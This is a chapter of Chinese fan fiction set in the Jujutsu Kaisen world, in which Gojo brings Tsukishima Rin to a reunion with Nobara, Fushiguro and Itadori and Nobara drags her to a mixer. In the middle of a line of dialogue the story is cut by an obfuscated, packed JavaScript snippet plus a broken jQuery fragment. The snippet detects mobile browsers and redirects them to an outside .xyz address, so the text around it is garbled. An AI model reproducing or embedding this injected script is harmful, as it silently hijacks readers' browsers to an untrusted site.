“据悉前日,横滨警方在东南的一处巷子内发现一具尸体,根据现场勘察,有目击者声称在前一晚见到了雾——”

    骨节分明的手指“啪嗒”一下按在了暂停键上。

    月岛凛不由顺着那手指向上看去,对上的是白发青年散漫的神情:

    “都回东京了,就不要听这种阴沉沉的事情啦。”

    “嗯,我只是在想,横滨的广播信号波段竟然可以传这么远啊。”

    月岛凛没有再追究广播的内容,而是向车窗外看了看,随后有些疑惑地发问,

    “不过我记得,这条路应该不是回我公寓的方向吧。”

    “好无情啊凛酱,野蔷薇他们可是好久没见到你了。所以可是特意拜托老师我,回去的第一时间就要把你带到他们面前。”

    “啊。”

    她发出了一声短促的音节,安静地点了点头,

    “我知道了。”

    “不高兴了?”

    “倒也不是,”

    月岛凛微微摇头,习惯性地开始在心里重新规划被打乱的时间表,

    “只是希望下次可以提前告知我一声。”

    “遵循计划的一板一眼小姐,人生偶尔也需要一点惊喜来调味嘛。”

    五条悟仗着手长,从前座探过身,用指尖轻轻点了点她的额头,

    “今天,老师就免费教你一课,什么叫‘及时行乐’。”

    即使原计划被打乱,备用方案修改一下也还能用。月岛凛正默默盘算着新的时间安排,闻言不禁一愣。

    “比如——”

    青年突然掀起半边的眼罩,苍蓝色的眼眸闪烁着恶作剧的光芒,嘴角弯起一个恶劣的弧度,

    “先给他们来个大惊吓怎么样?”

    _____

    ——这就是为什么三十分钟后,他们会在一家热闹的餐厅包间里,与高专的几位学生面面相觑。

    “啊!真的是狠狠吓了我们一跳!”

    钉崎野蔷薇顶着一头橙色中短发,穿着时尚,第一个扑了过来,亲昵地揽住月岛凛的胳膊,

    “明明是我们想给你准备惊喜派对的!结果全被那个笨蛋教师搞砸了,一定全——部都暴露了吧!”

    她叽叽喳喳地说着,却丝毫不令人感到厌烦:

    “好久不见!最近怎么样?听说你去横滨了,那边是不是也很时髦?”

    作为今天的惊喜嘉宾提前登场吓了其他人一跳的月岛凛也不由自主微笑起来:

    “横滨作为港口城市,国际化的商品还是蛮多的,不过我觉得东京对野蔷薇你来说更适合你,今天这身打扮…是去杂志社面试了吗?”

    “对啊!那么多麻烦事总算告一段落,最近闲下来了,我得追求自己的梦想了!”

    野蔷薇神采飞扬,

    “再说了,表面上是光鲜亮丽的模特,背地里其实是咒术师……这种设定超酷的,你不觉得吗?”

    “嗯,确实很酷。”

    完全不顾及同年级的男生还在旁边,野蔷薇立刻开启了八卦模式,压低声音说:

    “我跟你说,伏黑这家伙最近快学傻了。他跟他姐姐说认识一个东大的朋友之后,津美纪姐超级温柔地鼓励他以东大为目标呢。我看他再这么学下去,视力都要比之前差了吧!”

    “说别人坏话之前,好歹注意一下当事人会不会听到吧。”

    伏黑惠顶着一头标志性的海胆发型,无奈地走过来,

    “再说了,津美纪当时也只是开玩笑。以我现在的偏差值,想考东大还早得很。”

    “如果要是真有那么一天,你可以喊月岛一声学姐了。那可是东大啊,我们都会为你加油的。”

    虎杖悠仁也笑嘻嘻地走过来,

    “月岛,好久不见。听说你回来是为了答辩,我们已经准备好礼炮和横幅了!”

    “……还请务必放过我。”

    “别这么说嘛!这可是人生中非常值得纪念的时刻!”

    虎杖悠仁握紧拳头,干劲十足,

    “让我们一起为你庆祝吧,月岛!我们不是好朋友吗?”

    “为什么突然就燃起来了……真的没那么值得大张旗鼓。但如果你们真的带了那些东西,我确实会以另一种方式,把这一天‘深刻’地烙印在记忆里。”

    “那样听起来也不错呢。听说熊猫前辈最近找到了可以掩盖自己外貌的咒具,甚至还拿下了驾照,到时候就让他送我们去学校好了~”

    “……熊猫竟然去考了驾照?”

    “对啊对啊,因为他想去游乐园兼职当工作人员,一直麻烦辅助监督又不太好,有了能隐藏自己外貌的咒具,他就可以去游乐园光明正大扮演熊猫玩偶了,听说狗卷前辈还经常和他一起去,一个当恐怖的NPC,一个当给小孩子发祝福的熊猫,意外还蛮受欢迎的。”

    说到这里野蔷薇有些不服气地撇撇嘴,

    “可恶,没想到本小姐的模特事业还没起色,他们倒是先火起来了!”

    月岛凛注视着对方光洁无暇的侧脸,弯起眼:

    “总是会有的,毕竟野蔷薇很漂亮嘛。”

    “我可爱的学生们在背着老师说什——么——小——话——呢?”

    一个拖长了调子的声音从背后响起。

    五条悟长手一伸,把几个人都揽了过来,像一棵挂满了人的圣诞树,

    “如果是讨论给凛酱应援的事,老师我已经有了超——棒的主意!我们可以包一架飞机,在校园上空拉横幅~”

    月岛凛的眼神瞬间失去了高光:

    “……我不想以这种方式在毕业季‘名留青史’。”

    “死心吧!我们绝对会去的!”野蔷薇唯恐天下不乱地起哄。

    “……救命。”

    “或者你答应我另外一件事,我就劝他们不要去。”

    “嗯?”

    “除非是——”

    野蔷薇突然话锋一转,双手合十,对着月岛凛来了个九十度鞠躬,

    “月岛!拜托你陪我去参加联谊吧!”

    “啊?”

    这转折让月岛凛一愣。

    “我一个人第一次去这种聚会真的很害

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421585|182080||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    怕啊!”

    “那老师也可以勉为其难的陪你去哦~”

    “你去干什么变态教师,是要穿女装吗?”

    钉崎野蔷薇在面对五条悟时的态度截然不同,她狠狠地瞪了一眼白毛教师,随后又转向月岛凛,

    “真希学姐最近忙着陪她妹妹呢,男生又不可能去,京都的家伙又太远了,所以拜托陪我一起去嘛,我只认识你一个关系比较好的女性朋友了!并且说自己的朋友是东大出身,真的很有面子啊!”

    “……是什么时候?”

    月岛凛被对方晃动着胳膊,神情逐渐软化。

    对方一脸得逞的表情让她心里一咯噔,随后,像是接收到什么讯息一样,她按住了头,长长的,长长的叹了一口气,

    “今晚,对吧?”

    “诶嘿~答对了~”

    “悟子小姐也很想和你们一起去啦~”

    五条悟捏着嗓子模仿女声。

    “给我走开,变态老师!”

    幸运的是,当她们真正抵达联谊地点时,并没有在路边刷新出一个身高超过一米九、穿着不合身裙子的白毛身影。

    钉崎野蔷薇拍着胸口,露出劫后余生的表情:“吓死我了,我真怕他搞什么突然袭击。”

    “五条先生……应该不至于吧?”

    月岛凛虽然这么说,却也下意识地环顾四周。

    “谁知道呢!总之快走吧!”

    野蔷薇挽住她的胳膊,有些紧张又兴奋地问,

    “这还是我第一次联谊呢,月岛你呢?”

    正看着指示牌寻找包间位置的月岛凛如实回答:

    “其实我也是第一次。”

    “欸!?哦哦,我懂了,一定是因为你平常作为学霸学习很忙对吧!”

    “……算是吧。”

    她不想扫对方的兴,只好含糊着说道。

    就这样闲聊着,她们总算也找到了包厢的门,里面的几人也已经到了,大家生疏地寒暄着,互相介绍对方。

    钉崎野蔷薇明显比在外面时收敛了许多,月岛凛也只是称自己是“东京某所大学的学生”。果然,当气氛稍微热络起来后,话题逐渐转向了最新的游戏、流行乐和球赛,她们俩很快就被遗忘在了角落。

    听着那些完全陌生的名词和梗,两位其实并没有怎么关注这方面消息的非常识人面面相觑,脸上都写着巨大的茫然。

    “哇,原来现在的人都在聊这些吗,我果然还是有点落伍了……”

    野蔷薇用手半捂着嘴,悄悄和月岛凛耳语,语气充满了不可思议。

    月岛凛也同样回以轻微的气音,带着相同的困惑:

    “我也……完全不了解。”

    但有一件事已经非常明确了——

    野蔷薇所期待的、充满粉红泡泡的浪漫联谊,大概从开场那一刻起,就注定要碎成一地泡沫了。

    两人在角落里边吃点心边交换着“原来普通人这样生活”的眼神,打算就这么度过堪称人生中最漫长又最诡异的两个小时。

    ……如果没有意外的话。